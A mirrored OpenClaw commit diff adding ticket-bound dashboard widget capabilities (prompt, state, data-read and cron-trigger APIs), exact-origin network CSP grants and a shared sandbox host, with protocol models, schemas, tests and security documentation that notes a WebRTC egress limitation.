mirror of
https://github.com/openclaw/openclaw.git
synced 2026-07-21 02:06:43 +00:00
feat(dashboard): widget capabilities — net CSP, host tools, hardened shared sandbox (#111687)
* feat(boards): enforce widget capability grants * feat(ui): expose dashboard widget capabilities * test(dashboard): align rebased gateway contracts * refactor(dashboard): finish capability alignment * chore: internalize unused board sandbox exports * test(dashboard): bind grants to widget instances * fix(dashboard): close widget authority lifetime gaps * refactor(ui): preserve modular widget frame ownership * test(ui): preserve explicit MCP App lease refresh * test(ui): use shared dashboard sandbox server * fix(ui): settle widget requests on reconnect * fix(ui): retry transient widget document loads * refactor(dashboard): document WebRTC egress residual * fix(dashboard): clear landing checks
This commit is contained in:
@@ -459,6 +459,9 @@ enum class GatewayMethod(
|
||||
ConversationsList("conversations.list"),
|
||||
SessionDiscussionInfo("session.discussion.info"),
|
||||
SessionDiscussionOpen("session.discussion.open"),
|
||||
BoardPromptAuthorize("board.prompt.authorize"),
|
||||
BoardDataRead("board.data.read"),
|
||||
BoardAction("board.action"),
|
||||
}
|
||||
|
||||
enum class GatewayEvent(
|
||||
|
||||
@@ -246,7 +246,14 @@ public struct BoardWidget: Codable, Sendable {
|
||||
public let revision: Int
|
||||
public let instanceid: String?
|
||||
public let declaredsummary: [String]?
|
||||
public let declared: BoardWidgetDeclared?
|
||||
public let frameurl: String?
|
||||
public let viewticket: String?
|
||||
public let viewticketttlms: Int?
|
||||
public let viewgeneration: String?
|
||||
public let sandboxurl: String?
|
||||
public let sandboxport: Int?
|
||||
public let sandboxorigin: String?
|
||||
|
||||
public init(
|
||||
name: String,
|
||||
@@ -260,7 +267,14 @@ public struct BoardWidget: Codable, Sendable {
|
||||
revision: Int,
|
||||
instanceid: String? = nil,
|
||||
declaredsummary: [String]? = nil,
|
||||
frameurl: String? = nil)
|
||||
declared: BoardWidgetDeclared? = nil,
|
||||
frameurl: String? = nil,
|
||||
viewticket: String? = nil,
|
||||
viewticketttlms: Int? = nil,
|
||||
viewgeneration: String? = nil,
|
||||
sandboxurl: String? = nil,
|
||||
sandboxport: Int? = nil,
|
||||
sandboxorigin: String? = nil)
|
||||
{
|
||||
self.name = name
|
||||
self.tabid = tabid
|
||||
@@ -273,7 +287,14 @@ public struct BoardWidget: Codable, Sendable {
|
||||
self.revision = revision
|
||||
self.instanceid = instanceid
|
||||
self.declaredsummary = declaredsummary
|
||||
self.declared = declared
|
||||
self.frameurl = frameurl
|
||||
self.viewticket = viewticket
|
||||
self.viewticketttlms = viewticketttlms
|
||||
self.viewgeneration = viewgeneration
|
||||
self.sandboxurl = sandboxurl
|
||||
self.sandboxport = sandboxport
|
||||
self.sandboxorigin = sandboxorigin
|
||||
}
|
||||
|
||||
private enum CodingKeys: String, CodingKey {
|
||||
@@ -288,7 +309,32 @@ public struct BoardWidget: Codable, Sendable {
|
||||
case revision
|
||||
case instanceid = "instanceId"
|
||||
case declaredsummary = "declaredSummary"
|
||||
case declared
|
||||
case frameurl = "frameUrl"
|
||||
case viewticket = "viewTicket"
|
||||
case viewticketttlms = "viewTicketTtlMs"
|
||||
case viewgeneration = "viewGeneration"
|
||||
case sandboxurl = "sandboxUrl"
|
||||
case sandboxport = "sandboxPort"
|
||||
case sandboxorigin = "sandboxOrigin"
|
||||
}
|
||||
}
|
||||
|
||||
public struct BoardWidgetDeclared: Codable, Sendable {
|
||||
public let netorigins: [String]?
|
||||
public let tools: [String]?
|
||||
|
||||
public init(
|
||||
netorigins: [String]? = nil,
|
||||
tools: [String]? = nil)
|
||||
{
|
||||
self.netorigins = netorigins
|
||||
self.tools = tools
|
||||
}
|
||||
|
||||
private enum CodingKeys: String, CodingKey {
|
||||
case netorigins = "netOrigins"
|
||||
case tools
|
||||
}
|
||||
}
|
||||
|
||||
@@ -620,7 +666,7 @@ public struct BoardWidgetPutParams: Codable, Sendable {
|
||||
public let title: String?
|
||||
public let content: BoardWidgetPutContent
|
||||
public let placement: [String: AnyCodable]?
|
||||
public let declared: [String: AnyCodable]?
|
||||
public let declared: BoardWidgetDeclared?
|
||||
|
||||
public init(
|
||||
sessionkey: String,
|
||||
@@ -628,7 +674,7 @@ public struct BoardWidgetPutParams: Codable, Sendable {
|
||||
title: String? = nil,
|
||||
content: BoardWidgetPutContent,
|
||||
placement: [String: AnyCodable]? = nil,
|
||||
declared: [String: AnyCodable]? = nil)
|
||||
declared: BoardWidgetDeclared? = nil)
|
||||
{
|
||||
self.sessionkey = sessionkey
|
||||
self.name = name
|
||||
@@ -744,6 +790,82 @@ public struct BoardEventParams: Codable, Sendable {
|
||||
}
|
||||
}
|
||||
|
||||
public struct BoardTicketEventParams: Codable, Sendable {
|
||||
public let ticket: String
|
||||
public let payload: AnyCodable
|
||||
|
||||
public init(
|
||||
ticket: String,
|
||||
payload: AnyCodable)
|
||||
{
|
||||
self.ticket = ticket
|
||||
self.payload = payload
|
||||
}
|
||||
|
||||
private enum CodingKeys: String, CodingKey {
|
||||
case ticket
|
||||
case payload
|
||||
}
|
||||
}
|
||||
|
||||
public struct BoardPromptAuthorizeParams: Codable, Sendable {
|
||||
public let ticket: String
|
||||
|
||||
public init(
|
||||
ticket: String)
|
||||
{
|
||||
self.ticket = ticket
|
||||
}
|
||||
|
||||
private enum CodingKeys: String, CodingKey {
|
||||
case ticket
|
||||
}
|
||||
}
|
||||
|
||||
public struct BoardDataReadParams: Codable, Sendable {
|
||||
public let ticket: String
|
||||
public let bindingid: String
|
||||
public let params: [String: AnyCodable]?
|
||||
|
||||
public init(
|
||||
ticket: String,
|
||||
bindingid: String,
|
||||
params: [String: AnyCodable]? = nil)
|
||||
{
|
||||
self.ticket = ticket
|
||||
self.bindingid = bindingid
|
||||
self.params = params
|
||||
}
|
||||
|
||||
private enum CodingKeys: String, CodingKey {
|
||||
case ticket
|
||||
case bindingid = "bindingId"
|
||||
case params
|
||||
}
|
||||
}
|
||||
|
||||
public struct BoardActionParams: Codable, Sendable {
|
||||
public let ticket: String
|
||||
public let action: String
|
||||
public let jobid: String
|
||||
|
||||
public init(
|
||||
ticket: String,
|
||||
action: String,
|
||||
jobid: String)
|
||||
{
|
||||
self.ticket = ticket
|
||||
self.action = action
|
||||
self.jobid = jobid
|
||||
}
|
||||
|
||||
private enum CodingKeys: String, CodingKey {
|
||||
case ticket
|
||||
case action
|
||||
case jobid = "jobId"
|
||||
}
|
||||
}
|
||||
|
||||
public struct BoardChangedEvent: Codable, Sendable {
|
||||
public let sessionkey: String
|
||||
public let revision: Int
|
||||
|
||||
@@ -10315,6 +10315,7 @@ Do not edit it by hand; run `pnpm docs:map:gen`.
|
||||
- H2: Design system
|
||||
- H2: Use the tool
|
||||
- H2: Interactive widgets
|
||||
- H2: Dashboard capabilities
|
||||
- H2: Security and storage
|
||||
- H2: Related
|
||||
|
||||
@@ -10693,6 +10694,7 @@ Do not edit it by hand; run `pnpm docs:map:gen`.
|
||||
- H2: Interaction tiers
|
||||
- H2: Widget model and hosting
|
||||
- H3: Widgets host content; MCP apps are one content kind
|
||||
- H3: Modeled residual: WebRTC data channels
|
||||
- H3: Transcript display: one widget card
|
||||
- H3: Server-sourced widgets (pinned MCP apps)
|
||||
- H2: Layout: fluid grid
|
||||
|
||||
@@ -15,12 +15,12 @@ read_when:
|
||||
|
||||
When the agent calls `show_widget`, OpenClaw core wraps `widget_code` in a minimal HTML document, stores it as a Canvas document, and returns a preview handle. The Control UI renders that handle as a sandboxed iframe directly under the tool call, while native apps use an isolated web view. Both restore the widget after history reload.
|
||||
|
||||
In Control UI sessions, a Canvas widget can also be pinned to the session dashboard. Set `pin: true` in the tool call, or use **Pin to dashboard** on an existing transcript widget. Pinning reuses the exact hosted document; it does not fetch widget HTML through the browser.
|
||||
In Control UI sessions, a Canvas widget can also be pinned to the session dashboard. Set `pin: true` in the tool call, or use **Pin to dashboard** on an existing transcript widget. Pinned HTML runs behind the same dedicated-origin, double-iframe sandbox host used by MCP Apps; the browser never resolves a widget data binding inside the untrusted frame.
|
||||
|
||||
For browser embedding, the wrapper document injects four small host bridges around the widget code:
|
||||
|
||||
- A size reporter posts the rendered content height to the embedding chat, which clamps it and fits the iframe (160 to 1200 pixels).
|
||||
- A prompt bridge defines a global `sendPrompt(text)` function that widget scripts can call to submit a follow-up message into the chat. The bridge creates a private message channel and offers one endpoint to the chat before any widget code runs; the chat adopts only that first offer. See [Interactive widgets](#interactive-widgets).
|
||||
- A host bridge defines the legacy `sendPrompt(text)` helper plus the structured `openclaw.prompt`, `openclaw.state`, `openclaw.data`, and `openclaw.cron` APIs. Inline chat prompts retain their private message channel; dashboard APIs use a view-ticket-bound request channel. See [Interactive widgets](#interactive-widgets) and [Dashboard capabilities](#dashboard-capabilities).
|
||||
- A theme bridge listens for the Control UI's current design tokens and applies them as CSS variables, on load and again on every theme change.
|
||||
- A snapshot bridge renders the current widget document as a PNG when the embedding chat requests an export.
|
||||
|
||||
@@ -96,6 +96,7 @@ The core Canvas tool accepts these optional dashboard placement fields:
|
||||
- `tab`: destination tab slug.
|
||||
- `size`: one of `sm`, `md`, `lg`, `xl`, or `full`.
|
||||
- `after`: sibling widget name after which to place the widget.
|
||||
- `capabilities`: access requested by a pinned widget. `netOrigins` contains exact HTTPS origins; `tools` contains `prompt`, an allowlisted read binding, or an exact `cron.trigger:<jobId>` action.
|
||||
|
||||
The core result includes a Canvas preview handle, so the Control UI and supported native apps render the widget directly from the tool call and restore it after history reload. Pinned results also retain the board widget name so the Control UI does not offer a duplicate pin after transcript reload. Discord returns the stored widget and posted-message identifiers.
|
||||
|
||||
@@ -120,14 +121,27 @@ Every prompt is validated on both sides of the frame boundary:
|
||||
|
||||
Accepted prompts appear in the transcript as regular user messages and start a normal agent turn in the session that owns the widget. There is no feedback channel into the widget: a dropped prompt fails silently, and the widget cannot read the agent's reply.
|
||||
|
||||
## Dashboard capabilities
|
||||
|
||||
Pinned widgets can use one ticket-bound host API after the operator reviews the declaration shown on the pending card:
|
||||
|
||||
- `openclaw.prompt.send(text)` requires transient user activation and posts a visible composer message. Declaring and receiving the `prompt` tool grant skips the extra per-click confirmation; validation, focus checks, and rate limits still apply.
|
||||
- `openclaw.state.emit(payload)` adds a session notice. Payloads are capped at 8 KiB, and identical client emissions within five seconds are coalesced.
|
||||
- `openclaw.data.read(bindingId, params?)` resolves only at the Gateway. Grantable bindings are `sessions.list`, `usage.status`, `usage.cost`, `cron.list`, `cron.status`, `agents.list`, and `health`.
|
||||
- `openclaw.cron.trigger(jobId)` runs an existing job now only when the exact `cron.trigger:<jobId>` capability was granted.
|
||||
|
||||
Network access is separate from host tools. Put exact HTTPS origins in `capabilities.netOrigins`; after approval, only those origins enter the widget's `connect-src`. Wildcards, credentials, paths, query strings, and undeclared origins remain blocked. A literal port is allowed only when it is part of the declared origin.
|
||||
|
||||
## Security and storage
|
||||
|
||||
Widget documents use restrictive Content Security Policies. Inline style and script are allowed, while external fetches and resource loads are blocked. Keep all markup, styles, scripts, and image data inside `widget_code`.
|
||||
Widget documents use restrictive Content Security Policies. Inline style and script are allowed, while external resource loads remain blocked. Inline transcript widgets cannot fetch the network. A pinned dashboard widget can fetch only exact HTTPS origins that the agent declared and the operator granted.
|
||||
|
||||
The Control UI iframe always omits `allow-same-origin`, even when the global embed mode is `trusted`, so widget scripts cannot read the parent application origin. Native clients use isolated, nonpersistent web views and block navigation away from the hosted widget. The core document host also serves widgets with a `Content-Security-Policy: sandbox allow-scripts` response header, so direct rendering still runs the widget in an opaque origin instead of an application origin. Only render widget code you are willing to execute in that isolated frame.
|
||||
|
||||
The iframe also follows [`gateway.controlUi.embedSandbox`](/web/control-ui#hosted-embeds). The default `scripts` tier supports interactive widgets while preserving origin isolation.
|
||||
|
||||
The accepted WebRTC data-channel egress residual is documented in [Dashboard Architecture](/web/dashboard-architecture#modeled-residual-webrtc-data-channels).
|
||||
|
||||
Canvas retains at most 32 widgets per session (or per agent when no session is available). Creating another widget removes the oldest document in that scope.
|
||||
|
||||
## Related
|
||||
|
||||
@@ -155,11 +155,26 @@ Shared infrastructure underneath (this is where the simplification lands):
|
||||
one-tap **Allow**/**Reject**. Grants are per widget name; for `html` widgets
|
||||
they are byte-frozen (sha256), and changed bytes keep the grant only if the
|
||||
declaration shrank.
|
||||
- **Authoring shim.** The document wrapper injects
|
||||
`window.openclaw.sendPrompt/emitState/read/call` as the stable author API;
|
||||
whether the transport underneath is our channel or the AppBridge is an
|
||||
internal detail the widget author never sees. Size reporting and theme
|
||||
tokens ride the same bridge.
|
||||
- **Authoring shim.** The document wrapper injects `window.openclaw.prompt`,
|
||||
`window.openclaw.state`, `window.openclaw.data`, and `window.openclaw.cron`
|
||||
as the stable author API. Dashboard calls share one view-ticket-bound
|
||||
request channel; size reporting and theme tokens remain separate host
|
||||
notifications.
|
||||
|
||||
### Modeled residual: WebRTC data channels
|
||||
|
||||
The sandbox CSP emits the proposed `webrtc 'block'` directive, but
|
||||
[Chromium's current CSP directive set](https://chromium.googlesource.com/chromium/src/+/main/services/network/public/mojom/content_security_policy.mojom#95)
|
||||
does not implement it. Scriptable widgets can therefore use WebRTC data
|
||||
channels for egress in current Chromium. The same residual already ships for
|
||||
inline chat widgets and the MCP Apps host on `main`.
|
||||
|
||||
**Accepted tradeoff:** OpenClaw does not gate scriptable widgets on this
|
||||
residual. Widget content gains access to sensitive OpenClaw data only through
|
||||
an operator-granted, byte-frozen `data:read` capability, and the sandbox
|
||||
Permissions Policy blocks camera and microphone access. A DOM API guard is
|
||||
best-effort defense-in-depth, not a security boundary, and belongs in
|
||||
follow-up hardening.
|
||||
|
||||
### Transcript display: one widget card
|
||||
|
||||
@@ -262,7 +277,15 @@ RPCs (core method table, typebox schemas in `gateway-protocol`):
|
||||
- `board.widget.put { sessionKey, name, html, manifest, placement }` —
|
||||
`operator.write` (agent tool path and pin path)
|
||||
- `board.widget.grant { sessionKey, name, decision }` — `operator.approvals`
|
||||
- `board.event { sessionKey, widget, payload }` — tier-1 state event ingest —
|
||||
- `board.event { ticket, payload }` — ticket-bound tier-1 state event ingest;
|
||||
the legacy trusted-host `{ sessionKey, widget, payload }` shape remains —
|
||||
`operator.write`
|
||||
- `board.prompt.authorize { ticket }` — returns whether a visible prompt send
|
||||
still needs per-click confirmation — `operator.read`
|
||||
- `board.data.read { ticket, bindingId, params? }` — gateway-side allowlisted
|
||||
read binding resolution — `operator.read`
|
||||
- `board.action { ticket, action: "cron.trigger", jobId }` — exact-grant
|
||||
automation dispatch through the existing cron run-now path —
|
||||
`operator.write`
|
||||
|
||||
Events (in `EVENT_SCOPE_GUARDS`, read scope):
|
||||
|
||||
@@ -28,8 +28,11 @@ export * from "./schema/board.js";
|
||||
export * from "./migration-api.js";
|
||||
export type * from "./public-session-catalog.js";
|
||||
import {
|
||||
BoardActionParamsSchema,
|
||||
BoardDataReadParamsSchema,
|
||||
BoardEventParamsSchema,
|
||||
BoardGetParamsSchema,
|
||||
BoardPromptAuthorizeParamsSchema,
|
||||
BoardUpdateParamsSchema,
|
||||
BoardWidgetContentSchema,
|
||||
BoardWidgetAppViewParamsSchema,
|
||||
@@ -684,6 +687,9 @@ export const validateBoardWidgetAppViewParams = lazyCompile(BoardWidgetAppViewPa
|
||||
export const validateBoardWidgetPutParams = lazyCompile(BoardWidgetPutParamsSchema);
|
||||
export const validateBoardWidgetGrantParams = lazyCompile(BoardWidgetGrantParamsSchema);
|
||||
export const validateBoardEventParams = lazyCompile(BoardEventParamsSchema);
|
||||
export const validateBoardPromptAuthorizeParams = lazyCompile(BoardPromptAuthorizeParamsSchema);
|
||||
export const validateBoardDataReadParams = lazyCompile(BoardDataReadParamsSchema);
|
||||
export const validateBoardActionParams = lazyCompile(BoardActionParamsSchema);
|
||||
export const validateWorktreesCreateParams = lazyCompile(WorktreesCreateParamsSchema);
|
||||
export const validateWorktreesRemoveParams = lazyCompile(WorktreesRemoveParamsSchema);
|
||||
export const validateWorktreesRestoreParams = lazyCompile(WorktreesRestoreParamsSchema);
|
||||
|
||||
@@ -25,7 +25,13 @@ describe("BoardSnapshotSchema", () => {
|
||||
grantState: "none",
|
||||
revision: 1,
|
||||
declaredSummary: ["Network access: https://example.com"],
|
||||
declared: { netOrigins: ["https://example.com"], tools: ["health"] },
|
||||
frameUrl: "/__openclaw__/board/agent%3Amain%3Amain/status/index.html?bt=ticket",
|
||||
viewTicket: "v1.ticket.signature",
|
||||
viewTicketTtlMs: 60_000,
|
||||
viewGeneration: "a".repeat(32),
|
||||
sandboxUrl: "/mcp-app-sandbox?csp=encoded",
|
||||
sandboxPort: 18790,
|
||||
},
|
||||
],
|
||||
};
|
||||
@@ -42,6 +48,12 @@ describe("BoardSnapshotSchema", () => {
|
||||
widgets: [{ ...snapshot.widgets[0], declaredSummary: [42] }],
|
||||
}),
|
||||
).toBe(false);
|
||||
expect(
|
||||
Value.Check(BoardSnapshotSchema, {
|
||||
...snapshot,
|
||||
widgets: [{ ...snapshot.widgets[0], viewGeneration: "not-a-generation" }],
|
||||
}),
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
it("accepts declared grant summaries", () => {
|
||||
|
||||
@@ -21,6 +21,11 @@ export const BoardSizeSchema = Type.Union([
|
||||
Type.Literal("full"),
|
||||
]);
|
||||
|
||||
export const BOARD_CRON_JOB_ID_MAX_LENGTH = 256;
|
||||
export const BOARD_CRON_TRIGGER_PREFIX = "cron.trigger:";
|
||||
export const BOARD_WIDGET_TOOL_MAX_LENGTH =
|
||||
BOARD_CRON_TRIGGER_PREFIX.length + BOARD_CRON_JOB_ID_MAX_LENGTH;
|
||||
|
||||
export const BoardTabSchema = closedObject({
|
||||
tabId: BoardTabIdSchema,
|
||||
title: Type.String({ minLength: 1, maxLength: 80 }),
|
||||
@@ -29,6 +34,18 @@ export const BoardTabSchema = closedObject({
|
||||
});
|
||||
export type BoardTab = Static<typeof BoardTabSchema>;
|
||||
|
||||
export const BoardWidgetDeclaredSchema = closedObject({
|
||||
netOrigins: Type.Optional(
|
||||
Type.Array(Type.String({ minLength: 1, maxLength: 2048 }), { maxItems: 32 }),
|
||||
),
|
||||
tools: Type.Optional(
|
||||
Type.Array(Type.String({ minLength: 1, maxLength: BOARD_WIDGET_TOOL_MAX_LENGTH }), {
|
||||
maxItems: 64,
|
||||
}),
|
||||
),
|
||||
});
|
||||
export type BoardWidgetDeclared = Static<typeof BoardWidgetDeclaredSchema>;
|
||||
|
||||
export const BoardWidgetSchema = closedObject({
|
||||
name: BoardWidgetNameSchema,
|
||||
tabId: BoardTabIdSchema,
|
||||
@@ -46,7 +63,14 @@ export const BoardWidgetSchema = closedObject({
|
||||
revision: Type.Integer({ minimum: 1 }),
|
||||
instanceId: Type.Optional(NonEmptyString),
|
||||
declaredSummary: Type.Optional(Type.Array(Type.String())),
|
||||
declared: Type.Optional(BoardWidgetDeclaredSchema),
|
||||
frameUrl: Type.Optional(Type.String()),
|
||||
viewTicket: Type.Optional(Type.String()),
|
||||
viewTicketTtlMs: Type.Optional(Type.Integer({ minimum: 1 })),
|
||||
viewGeneration: Type.Optional(Type.String({ pattern: "^[a-f0-9]{32}$" })),
|
||||
sandboxUrl: Type.Optional(Type.String()),
|
||||
sandboxPort: Type.Optional(Type.Integer({ minimum: 1, maximum: 65535 })),
|
||||
sandboxOrigin: Type.Optional(Type.String()),
|
||||
});
|
||||
export type BoardWidget = Static<typeof BoardWidgetSchema>;
|
||||
|
||||
@@ -170,12 +194,7 @@ export const BoardWidgetPutParamsSchema = closedObject({
|
||||
after: Type.Optional(BoardWidgetNameSchema),
|
||||
}),
|
||||
),
|
||||
declared: Type.Optional(
|
||||
closedObject({
|
||||
netOrigins: Type.Optional(Type.Array(Type.String())),
|
||||
tools: Type.Optional(Type.Array(Type.String())),
|
||||
}),
|
||||
),
|
||||
declared: Type.Optional(BoardWidgetDeclaredSchema),
|
||||
});
|
||||
export type BoardWidgetPutParams = Static<typeof BoardWidgetPutParamsSchema>;
|
||||
/** Materialized input accepted by the board store after gateway source resolution. */
|
||||
@@ -206,13 +225,46 @@ export const BoardWidgetAppViewResultSchema = closedObject({
|
||||
});
|
||||
export type BoardWidgetAppViewResult = Static<typeof BoardWidgetAppViewResultSchema>;
|
||||
|
||||
export const BoardEventParamsSchema = closedObject({
|
||||
export const BoardViewTicketSchema = Type.String({ minLength: 1, maxLength: 2048 });
|
||||
|
||||
export const BoardLegacyEventParamsSchema = closedObject({
|
||||
sessionKey: NonEmptyString,
|
||||
widget: BoardWidgetNameSchema,
|
||||
payload: Type.Unknown(),
|
||||
});
|
||||
export const BoardTicketEventParamsSchema = closedObject({
|
||||
ticket: BoardViewTicketSchema,
|
||||
payload: Type.Unknown(),
|
||||
});
|
||||
export const BoardEventParamsSchema = Type.Union([
|
||||
BoardLegacyEventParamsSchema,
|
||||
BoardTicketEventParamsSchema,
|
||||
]);
|
||||
export type BoardEventParams = Static<typeof BoardEventParamsSchema>;
|
||||
|
||||
export const BoardPromptAuthorizeParamsSchema = closedObject({
|
||||
ticket: BoardViewTicketSchema,
|
||||
});
|
||||
export type BoardPromptAuthorizeParams = Static<typeof BoardPromptAuthorizeParamsSchema>;
|
||||
|
||||
export const BoardDataReadParamsSchema = closedObject({
|
||||
ticket: BoardViewTicketSchema,
|
||||
bindingId: Type.String({ minLength: 1, maxLength: 64 }),
|
||||
params: Type.Optional(
|
||||
Type.Record(Type.String({ minLength: 1, maxLength: 80 }), Type.Unknown(), {
|
||||
maxProperties: 64,
|
||||
}),
|
||||
),
|
||||
});
|
||||
export type BoardDataReadParams = Static<typeof BoardDataReadParamsSchema>;
|
||||
|
||||
export const BoardActionParamsSchema = closedObject({
|
||||
ticket: BoardViewTicketSchema,
|
||||
action: Type.Literal("cron.trigger"),
|
||||
jobId: Type.String({ minLength: 1, maxLength: BOARD_CRON_JOB_ID_MAX_LENGTH }),
|
||||
});
|
||||
export type BoardActionParams = Static<typeof BoardActionParamsSchema>;
|
||||
|
||||
export const BoardChangedEventSchema = closedObject({
|
||||
sessionKey: NonEmptyString,
|
||||
revision: Type.Integer({ minimum: 0 }),
|
||||
|
||||
@@ -152,15 +152,18 @@ import {
|
||||
} from "./audit-activity.js";
|
||||
import { AuditEventSchema, AuditListParamsSchema, AuditListResultSchema } from "./audit.js";
|
||||
import {
|
||||
BoardActionParamsSchema,
|
||||
BoardCanvasDocumentSourceSchema,
|
||||
BoardChangedEventSchema,
|
||||
BoardCommandEventSchema,
|
||||
BoardCommandSchema,
|
||||
BoardDataReadParamsSchema,
|
||||
BoardEventParamsSchema,
|
||||
BoardFocusTabCommandSchema,
|
||||
BoardGetParamsSchema,
|
||||
BoardMcpAppDescriptorSchema,
|
||||
BoardOpSchema,
|
||||
BoardPromptAuthorizeParamsSchema,
|
||||
BoardSetChatDockCommandSchema,
|
||||
BoardSnapshotSchema,
|
||||
BoardTabCreateOpSchema,
|
||||
@@ -181,6 +184,7 @@ import {
|
||||
BoardWidgetPutParamsSchema,
|
||||
BoardWidgetRemoveOpSchema,
|
||||
BoardWidgetResizeOpSchema,
|
||||
BoardWidgetDeclaredSchema,
|
||||
BoardWidgetSchema,
|
||||
} from "./board.js";
|
||||
import {
|
||||
@@ -597,6 +601,7 @@ import {
|
||||
export const ProtocolSchemas = {
|
||||
BoardTab: BoardTabSchema,
|
||||
BoardWidget: BoardWidgetSchema,
|
||||
BoardWidgetDeclared: BoardWidgetDeclaredSchema,
|
||||
BoardSnapshot: BoardSnapshotSchema,
|
||||
BoardTabCreateOp: BoardTabCreateOpSchema,
|
||||
BoardTabUpdateOp: BoardTabUpdateOpSchema,
|
||||
@@ -620,6 +625,9 @@ export const ProtocolSchemas = {
|
||||
BoardWidgetAppViewParams: BoardWidgetAppViewParamsSchema,
|
||||
BoardWidgetAppViewResult: BoardWidgetAppViewResultSchema,
|
||||
BoardEventParams: BoardEventParamsSchema,
|
||||
BoardPromptAuthorizeParams: BoardPromptAuthorizeParamsSchema,
|
||||
BoardDataReadParams: BoardDataReadParamsSchema,
|
||||
BoardActionParams: BoardActionParamsSchema,
|
||||
BoardChangedEvent: BoardChangedEventSchema,
|
||||
BoardFocusTabCommand: BoardFocusTabCommandSchema,
|
||||
BoardSetChatDockCommand: BoardSetChatDockCommandSchema,
|
||||
|
||||
@@ -408,6 +408,27 @@ function emitStruct(name: string, schema: JsonSchema): string {
|
||||
return lines.join("\n");
|
||||
}
|
||||
|
||||
function emitBoardEventParamsModels(schema: JsonSchema): string {
|
||||
const variants = schema.anyOf ?? schema.oneOf ?? [];
|
||||
const legacy = variants.find(
|
||||
(variant) =>
|
||||
variant.type === "object" &&
|
||||
variant.properties?.sessionKey &&
|
||||
variant.properties.widget &&
|
||||
variant.properties.payload,
|
||||
);
|
||||
const ticket = variants.find(
|
||||
(variant) =>
|
||||
variant.type === "object" && variant.properties?.ticket && variant.properties.payload,
|
||||
);
|
||||
if (!legacy || !ticket) {
|
||||
throw new Error("BoardEventParams must retain legacy and ticket object variants");
|
||||
}
|
||||
// BoardEventParams shipped as the legacy struct before the schema became a
|
||||
// union. Preserve that source API and expose the ticket form separately.
|
||||
return `${emitStruct("BoardEventParams", legacy)}\n${emitStruct("BoardTicketEventParams", ticket)}`;
|
||||
}
|
||||
|
||||
function emitStructCustomCodable(
|
||||
name: string,
|
||||
props: Record<string, JsonSchema>,
|
||||
@@ -779,13 +800,17 @@ async function generate() {
|
||||
if (name === "GatewayFrame") {
|
||||
continue;
|
||||
}
|
||||
if (name === "BoardEventParams") {
|
||||
parts.push(emitBoardEventParamsModels(schema));
|
||||
continue;
|
||||
}
|
||||
if (schema.type === "object") {
|
||||
parts.push(emitStruct(name, schema));
|
||||
}
|
||||
}
|
||||
|
||||
for (const [name, schema] of definitions) {
|
||||
if (name === "GatewayFrame") {
|
||||
if (name === "GatewayFrame" || name === "BoardEventParams") {
|
||||
continue;
|
||||
}
|
||||
const union = emitDiscriminatedUnion(name, schema);
|
||||
|
||||
+10
-185
@@ -1,187 +1,12 @@
|
||||
export type McpAppCsp = {
|
||||
connectDomains?: string[];
|
||||
resourceDomains?: string[];
|
||||
frameDomains?: string[];
|
||||
baseUriDomains?: string[];
|
||||
};
|
||||
import {
|
||||
buildSandboxHostPath,
|
||||
normalizeSandboxHostCsp,
|
||||
resolveSandboxHostPort,
|
||||
type SandboxHostCsp,
|
||||
} from "./sandbox-host.js";
|
||||
|
||||
export const MCP_APP_SANDBOX_PATH = "/mcp-app-sandbox";
|
||||
const MCP_APP_SANDBOX_PORT_OFFSET = 1;
|
||||
const MCP_APP_SANDBOX_CSP_QUERY = "csp";
|
||||
const MCP_APP_SANDBOX_CSP_MAX_JSON_BYTES = 5 * 1024;
|
||||
const MCP_APP_SANDBOX_CSP_MAX_HEADER_BYTES = 6 * 1024;
|
||||
const MCP_APP_SANDBOX_CSP_MAX_ENCODED_BYTES =
|
||||
Math.ceil(MCP_APP_SANDBOX_CSP_MAX_JSON_BYTES / 3) * 4 + 4;
|
||||
export type McpAppCsp = SandboxHostCsp;
|
||||
|
||||
function asRecord(value: unknown): Record<string, unknown> | undefined {
|
||||
return value && typeof value === "object" && !Array.isArray(value)
|
||||
? (value as Record<string, unknown>)
|
||||
: undefined;
|
||||
}
|
||||
|
||||
function normalizeDomains(
|
||||
value: unknown,
|
||||
options?: { allowWebSocket?: boolean },
|
||||
): string[] | undefined {
|
||||
if (!Array.isArray(value)) {
|
||||
return undefined;
|
||||
}
|
||||
const protocols = options?.allowWebSocket ? "(?:https?|wss?)" : "https?";
|
||||
const pattern = new RegExp(`^${protocols}:\\/\\/(?:\\*\\.)?[A-Za-z0-9.-]+(?::[0-9]+)?$`);
|
||||
const entries = value.filter(
|
||||
(entry): entry is string =>
|
||||
typeof entry === "string" && entry.length <= 2048 && pattern.test(entry),
|
||||
);
|
||||
return entries.length > 0 ? entries : undefined;
|
||||
}
|
||||
|
||||
export function normalizeMcpAppCsp(value: unknown): McpAppCsp | undefined {
|
||||
const record = asRecord(value);
|
||||
if (!record) {
|
||||
return undefined;
|
||||
}
|
||||
const csp: McpAppCsp = {
|
||||
connectDomains: normalizeDomains(record.connectDomains, { allowWebSocket: true }),
|
||||
resourceDomains: normalizeDomains(record.resourceDomains),
|
||||
frameDomains: normalizeDomains(record.frameDomains),
|
||||
baseUriDomains: normalizeDomains(record.baseUriDomains),
|
||||
};
|
||||
if (!Object.values(csp).some(Boolean)) {
|
||||
return undefined;
|
||||
}
|
||||
const jsonBytes = Buffer.byteLength(JSON.stringify(csp), "utf8");
|
||||
const headerBytes = Buffer.byteLength(buildMcpAppContentSecurityPolicy(csp), "utf8");
|
||||
if (
|
||||
jsonBytes > MCP_APP_SANDBOX_CSP_MAX_JSON_BYTES ||
|
||||
headerBytes > MCP_APP_SANDBOX_CSP_MAX_HEADER_BYTES
|
||||
) {
|
||||
throw new Error("MCP App CSP metadata exceeds safe HTTP limits");
|
||||
}
|
||||
return csp;
|
||||
}
|
||||
|
||||
function encodeCsp(csp?: McpAppCsp): string | undefined {
|
||||
const normalized = normalizeMcpAppCsp(csp);
|
||||
if (!normalized) {
|
||||
return undefined;
|
||||
}
|
||||
return Buffer.from(JSON.stringify(normalized), "utf8").toString("base64url");
|
||||
}
|
||||
|
||||
export function buildMcpAppSandboxPath(csp?: McpAppCsp): string {
|
||||
const encoded = encodeCsp(csp);
|
||||
return encoded
|
||||
? `${MCP_APP_SANDBOX_PATH}?${MCP_APP_SANDBOX_CSP_QUERY}=${encoded}`
|
||||
: MCP_APP_SANDBOX_PATH;
|
||||
}
|
||||
|
||||
export function resolveMcpAppSandboxPort(gatewayPort: number, configuredPort?: number): number {
|
||||
const sandboxPort = configuredPort ?? gatewayPort + MCP_APP_SANDBOX_PORT_OFFSET;
|
||||
if (
|
||||
